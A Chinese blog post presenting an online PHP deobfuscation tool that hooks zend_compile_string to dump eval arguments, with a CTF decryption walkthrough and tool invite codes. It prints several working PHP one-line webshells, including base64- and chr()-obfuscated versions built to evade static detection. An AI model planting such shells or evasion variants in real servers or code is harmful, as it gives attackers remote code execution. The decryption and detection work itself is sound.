PHPDecode 在线解密工具

诈尸水一篇博文。8月份写的一个解密加密PHP源码的工具( http://d.poetn.cc:7727/),打算小范围使用。刚好最近看到 PwnHub 上有个解密的题目,p神微博上吐槽居然有人花钱解密了,2333 那分享一波另类解密思路吧。

从 WebShell 混淆说起

经常跟 WebShell 打交道的朋友会比较清楚,最觉见的 WebShell 是这样的:

1
<?php eval($_POST['cmd']); ?>

然后这种 Shell 很容易就会被静态查杀的正则匹配出来,于是就出现了变形,比如这样:

1
2
3
4
<?php 
$a="eval";
$$a($_POST['cmd']);
?>

隐藏一下 eval 关键字,比如用一下 base64 就是这样的:

1
2
3
4
<?php 
$a=base64_decode("ZXZhbA==");
$$a($_POST['cmd']);
?>

这里给个我之前录的 AntSword 过狗的一个视频感受一下: AntSword过狗演示(1)

反正就是各种变形,比如下面这样的:

1
2
3
4
5
6
7
<?php
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU

(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).

$_uU(110);$_=$_fF("",$_cC);@$_();
?>

诸如此类的 WebShell 特别多,每次手工去解挺麻烦的,有没有什么好思路呢?答案是:有

一句话 WebShell 共性

一句话 WebShell 再怎么变形,它们的行为是一致的:「执行客户端发送过来的代码」,为了方便嘛。

关于这个「代码执行」,方法就比较多了,举几个简单常见的能引起代码执行的函数(方法):

1
2
3
4
5
6
7
8
9
10
11
12
eval
preg_replace 函数中的 /e 修饰符 create_function
assert
call_user_func
call_user_func_array
usort
uksort
array_map
array_walk
array_filter
$a($b) // 动态组装代码执行
unserialize //反序列化导致代码执行

说这些函数有什么用呢?是想收集然后做正则吗?

累不死你

基于 Hook 机制检测

调用 eval 等代码执行的函数,最终会调用 php 内核的zend_compile_string函数。

所以呢,我们只用Hook住这个函数,就差不多了,具体关于 Hook 机制的讲解,后面找到好的文章了再贴上来。

提一嘴子,D盾、云锁等安全防护产品说的 「免疫一句话 WebShell」 就是基于这个原理来的。据我所知,D哥应该是国内最早搞这个的。任你一句话再怎么变形,最终还是逃不过这道门。

哦对了,说到 D 盾的一句话免疫机制,D哥之前说过,只杀「参数 eval」,所以还是给了一点点可以使用 eval 的机会滴,具体就不在这说了,不然会被打死(逃..)

再来说解密,很多加密方式也是这样,先把源代码字符串各种捣腾,然后在执行的时候,会还原回来,还原回来之后的代码是字符串,那要怎么执行呢? Bingo, 用 eval 执行喽。

所以说,我们完全可以 Hook 住 zend_compile_string,然后在每次调用的时候呢,把这个函数的参数 dump 出来,就能达到解密的效果了。

具体呢,参考一下老外的这篇文章:Decoding a User Space Encoded PHP Script

也可以参考一下 TSRC 的这篇文章:浅谈变形PHP WEBSHELL检测

老外的代码下载点这里:evalhook-0.1.tar.gz

在线解密工具 PHPDecode

这个工具做了什么?

把 PHP 代码上传之后,执行,然后 dump 出 eval 的参数,以完成解密效果

酱酱〜首页

酱酱〜登录后

显示解密记录,下载解密的每一步中间代码,任务出错后可手动重试任务

快夸一下我的页面真好看,哈哈哈哈好不要脸

单文件解密

单文件解密的前提是需要这个单文件能单独执行,如果该文件执行解密逻辑的时候需要配合其它文件触发,就得一起喽,没啥说的

以这个 WebShell 为例:

1
2
3
4
5
6
7
<?php
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU

(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).

$_uU(110);$_=$_fF("",$_cC);@$_();
?>

将上述代码保存成 1.php ,然后上传,就能看到解密后的源代码了:

1
function __lambda_func(){eval($_POST[1]);}

__lambda_func 说明是匿名函数,可知上面的代码是 create_function 来实现代码执行的,这个 WebShell 的密码是 1

除了解 WebShell, 像 phpjm 这样的是可以用这种办法轻松解的(如果有变量名混淆,是还原不回变量名的)。

多文件解密

如果直接访问该文件不能触发解密,就用到多文件解密了。

本来想以 PwnHub 傻 fufu 的工作日 这道题为例来说,看了一下时间,还在比赛中,还是不说了,后面等结束了再说吧,哈哈哈。

我们还是以上面那个代码为例子来说怎么用

1
2
3
4
5
6
7
<?php
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU

(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).

$_uU(110);
?>
  1. 将上述代码保存成 123.php

    由于我们把 $_=$_fF("",$_cC);@$_(); 这段代码干掉了,导致不能触发 eval, 所以单独上传这个文件是不行滴。

  2. 编写 index.php

    1
    2
    3
    4
    <?php 
    include "123.php";
    $_=$_fF("",$_cC);@$_();
    ?>

    在 index.php 里面把1的文件导入进来,然后触发(实际解密的文件解密代码肯定比我给的例子要直观的多)

  3. 将两个文件打包成 zip 文件,然后上传

  4. 酱酱〜,就解完了

实战解密之「PwnHub 傻 fufu 的工作日

具体非解密部分的细节在此不表述,我们只关注解密这部分。

  1. 拿到 UploadFile.class.php,部分代码如下:

    从头部加密信息来看,是用的 PHPJiaMi,看到代码里面有 eval,那这种方式解密成功率就很大了。

  2. 直接解该文件没成功,说明存在调用才会解密的情况,从 index.php 里发现了调用的代码。

    1
    2
    3
    4
    5
    6
    7
     if($_FILES) {
    include 'UploadFile.class.php';
    $dist = 'upload';
    $upload = new UploadFile($dist, 'upfile');
    $data = $upload->upload();
    }
    ?>
  3. 把原来的 index.php 拿过来,我们需要在上面2中的代码前构造表单里的变量,让它能成功执行,所以我们最终的 index.php 是这个样子

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
     <?php
    $_FILES["upfile"] = array(
    "name" => "1303.jpg",
    "type" => "image/jpeg",
    "tmp_name" => "/tmp/php/phpSDsuf7",
    "error" => 0,
    "size" => 1024
    );
    // 上面的代码是加的
    if($_FILES) {
    include 'UploadFile.class.php';
    $dist = 'upload';
    $upload = new UploadFile($dist, 'upfile');
    $data = $upload->upload();
    }
    ?><!DOCTYPE html>
    <html>
    ....后面省略
  4. 然后把 index.phpUploadFile.class.php 打个 zip 包, 注意 index 所在的目录不要打包进去

    1
    $ zip -r mytest.zip index.php UploadFile.class.php
  5. mytest.zip 上传后,如果出现解密失败,点后面的重试,就能看到结果了。

最后

说下服务端,基于 Flask 和 MongoDB 做的,总共花了2天时间(写页面就花了1天半,强迫症害死人),暂时就先这样吧,不完善的地方还比较多,不打算现在放出来给大家玩了,就只邀请了几个朋友参与内测。

在线解的话肯定不怎么灵活,建议呢,自己去装老外写的那个 evalhook 来解「防同行马」喽〜

邀请码

如果有兴趣,欢迎来体验「会删档」的内测,有什么好的建议欢迎邮件交流

PS: 还有一个页面没写完 2333

[20180727邀请码]

  • 9728c6ce-27c9-5d85-9204-abe897c90378
  • eabdb169-2933-5ac3-a7ca-25ec5e8c1a16
  • fb011a3a-dd7e-5ae4-b3f5-90157274e333
  • 84a786f3-06e1-59c0-9c5c-d8a1c9458355
  • 2b8c0b16-f410-5d51-92ee-c8734106d326
  • 586f70e6-dc35-5e99-851f-cd960064001e
  • f89e78a1-6d1e-5ed8-9df9-ab7aa4d54732
  • 13eab2a0-74ba-5e62-80be-cf901d5dc482
  • ef1b533a-69b0-5af0-b483-361ca59282bf
  • 047ad00f-56f7-545b-9995-98d7c0c19c10
  • 5b3f6054-a004-585e-97f5-cafa1d74ecbe
  • eea8749c-dda2-5aac-ab9c-72ca275228db

[20170921邀请码]

  • 873225de-fd6f-5de3-b55a-9eb43629215d
  • 0d2de847-f873-5801-8dfe-4252694da74d
  • 7c8875c4-6214-5875-b6fd-1d619b76e671
  • 62dcca8f-388a-5999-b65b-9c1fc94af7e4
  • b1779fed-4a3f-5e42-acac-0da991a65c53